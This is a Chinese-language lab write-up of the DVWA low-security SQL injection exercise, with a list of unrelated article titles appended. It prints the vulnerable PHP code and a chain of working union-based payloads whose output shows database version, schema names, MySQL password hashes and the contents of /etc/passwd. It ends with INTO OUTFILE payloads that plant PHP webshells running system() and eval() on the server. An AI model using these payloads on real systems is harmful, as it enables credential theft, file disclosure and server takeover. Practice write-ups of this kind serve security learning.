SQL Injection --low
来源:互联网 发布:传世 登录器 源码 编辑:程序博客网 时间:2024/06/06 00:57
<?php if(isset($_GET['Submit'])){ // Retrieve data $id = $_GET['id']; $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); $num = mysql_numrows($result); $i = 0; while ($i < $num) { $first = mysql_result($result,$i,"first_name"); $last = mysql_result($result,$i,"last_name"); echo '<pre>'; echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last; echo '</pre>'; $i++; }}?>
抓关键语句 :
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid)
这里对$id参数没有任何过滤
这里是字符型注入
用 1'and '1'='1 和 1'and '1'='2 可以发现存在漏洞
接下来用 1' order by 2#
所以这个可以简单构造一个 $id= -1'union select 1,2#
这样带进去可以带到 sql语句为
SELECT first_name, last_name FROM users WHERE user_id = ''union select 1,2# '所以这里用上了联合查询 :<pre name="code" class="php">SELECT first_name, last_name FROM users WHERE user_id = ''
unionselect 1,2# '而后面就实现了自己想要的select查询 这里井号的作用就是屏蔽后面的sql语句内容那么这里就可以利用sql语句来做我们想做的事情咯。我们想得到有关php和服务器的信息<pre>ID: -1' union select 1,concat_ws(char(32,58,32),user(),database(),version()) #First name: 1Surname: root@localhost : dvwa : 5.5.38-0ubuntu0.14.04.1
这个是用php+mysql搭建的
mysql数据库可以通过系统表查询
schema_name from information_schema.schemata
我们通过它可以得到数据库信息:
ID: -1'union select 1,schema_name from information_schema.schemata #First name: 1Surname: information_schema
ID: -1'union select 1,schema_name from information_schema.schemata #First name: 1Surname: dvwa
ID: -1'union select 1,schema_name from information_schema.schemata #First name: 1Surname: mysql
ID: -1'union select 1,schema_name from information_schema.schemata #First name: 1Surname: performance_schema
我们可以得到当前的用户和密码
-1'union select 1,concat(user,':',password)from mysql.user#
ID: -1'union select 1,concat(user,':',password)from mysql.user# First name: 1Surname: root:*9CFBBC772F3F6C106020035386DA5BBBF1249A11
ID: -1'union select 1,concat(user,':',password)from mysql.user# First name: 1Surname: debian-sys-maint:*8010250A4C3114D73C23FCBFCB69BEB2FA21F917还可以读取系统文件
load_file('X:/php.ini')
magic_quotes_gpc 开启的环境需要转为16进制再读取
-1'union select 1,load_file('/etc/passwd')#
得到信息如下
ID: -1'union select 1,load_file('/etc/passwd')# First name: 1Surname: root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/sync
利用注入点写 shell //////////////////// '<?php system($_GET['sec']);?>' into outfile '/var/www/xiaoma.php'#
1' union select 1,2 into outfile '/tmp/xiaoma.txt'# 这句话是完全正确的 并且我在server上成功找到了这个文件
再构造一个类似的
1' union select 1,'<?php @eval($_POST[1])?>' into outfile '/tmp/xiaoma.php'# 成功
但是这里我们只是传到了tmp文件夹下 实际上 我们要传到 /var/www/目录下 也就是在服务器目录下 那么此时一句话木马就可以发挥作用了。。
测试的时候发现 mysql数据库不能在/var/www下拥有写权限 我要好好思考思考 怎么回事。。
- SQL Injection --low
- DVWA - SQL Injection (Blind) (low)
- SQL injection on DVWA (Low Level)
- DVWA - SQL Injection (low, medium, high)
- DVWA之low级别SQL Injection
- SQL Injection
- SQL injection
- sql injection
- SQL Injection
- sql injection
- sql Injection
- sql injection
- sql injection
- SQL injection
- SQL injection
- SQL Injection
- SQL Injection
- SQL Injection
- 基于visual Studio2013解决算法导论之001插入排序
- 为何谷歌下大力气研发量子计算机
- 升级xcode时更换appid账户
- 单向链表
- C语言数组参数与指针参数
- SQL Injection --low
- 使用IOCTL代码实现LCD背光调节
- JavaScript 学习笔记
- 关于mysql存储过程的definer的问题
- java基础学习 -- 面向对象
- 理解HTTP幂等性
- 黑马程序员——String StringBuffer StringBuilder的区别
- Android MediaProvider数据库模式
- groovy : poi ExcelExtractor